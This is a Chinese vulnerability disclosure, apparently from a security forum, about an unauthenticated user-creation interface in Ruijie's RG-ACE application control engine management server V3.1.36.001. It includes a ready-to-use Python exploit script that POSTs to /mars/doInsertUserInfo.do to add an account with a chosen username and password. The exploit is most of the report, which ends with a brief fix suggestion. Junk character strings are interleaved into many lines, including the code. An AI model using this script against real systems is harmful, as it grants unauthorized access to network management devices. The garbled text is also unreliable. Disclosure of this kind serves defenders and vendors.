锐捷应用控制引擎管理服务器可以增加用户

admin

锐捷应用控制引擎管理服务器（RG-ACE系列应用控制引擎管理服务器V3.1.36.001，官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版）可以根据没有权限验证的接口直接增加用户，连接设备，查看设备信息和报表（权限相对于默认的admin比较低）
% D  @3 p! y' n' O  \

2 N. Z# h! @5 [2 U* s8 I' W( G- o: p测试的具体版本是
9 h% m& Q4 C8 {" c8 Q+ d产品名称: 锐捷应用控制引擎
版本号: 3.1.36.001 TC
, i6 U6 i- I6 V% z( \: T& e  ~! f+ C+ D编译时间: 201104291730


漏洞证明：
3 y; [" _! u. O/ I# a1 v


$ E) @0 Z+ l, [! }0 @) r. S


: O5 O0 e- {2 g0 f2 b执行脚本
#! /usr/bin/env python
6 x) a* E/ H) M% A, T$ m#coding=gbk
/ H" l2 A0 u$ Z  i% @! S0 V' E#RG-ACE管理服务器 V3.1.36.001
import urllib2, urllib,cookielib
url=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
* b7 g0 C& _% P$ `! ]5 `4 z8 |opener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]
; j/ f* F1 R' e: U  mpost=(("event","userManager.doInsertUserInfo"),
6 y9 g7 ~* d8 m* U  W("useractionname","addButtonValue"),
$ z! f  T! ^* p  g("useropermanager","userManager"),
("userName","t"), #######账号自己加
("pwd","aaaaaa"),######密码自己加
+ F2 [- o# G$ c& c& G("trueName","ad"),
) n( d! S) }5 M4 }& O% R) ?# ~("email",""),
1 \2 j& \; U" }* p4 G& c("mobilePhone",""),
("officePhone",""),
! g7 Y, j  f, y) a  V("addr",""),
% O5 h/ M8 L" s/ Q("submit","确定"))
- p) ]6 g- `* d+ J1 A9 Aurllib2.install_opener(opener)
p=urllib2.urlopen(url, urllib.urlencode(post)).read()
% |5 ~7 n$ n" i% Wprint "Done"

% c' M8 C4 y/ S: z5 t5 p* k登录，连接设备

" M+ [8 g# Y) r+ W
7 l' G( V8 q7 S1 v, e2 r
" C1 g' e2 J# M# p4 _1 I/ v/ {( y: e
& r7 L4 Y) G- N6 n7 v* h1 z& Z6 a
默认的管理员admin权限更大点

$ _7 G# O8 z' r' X2 f0 B


2 D, {8 t! R$ A' ^$ x  q% Q- x
修复方案：
( s4 b; E; E/ W, ^8 P# B! A4 }加强对接口的权限验证
* u& k$ a, R3 s
5 a7 u# A) c" k6 f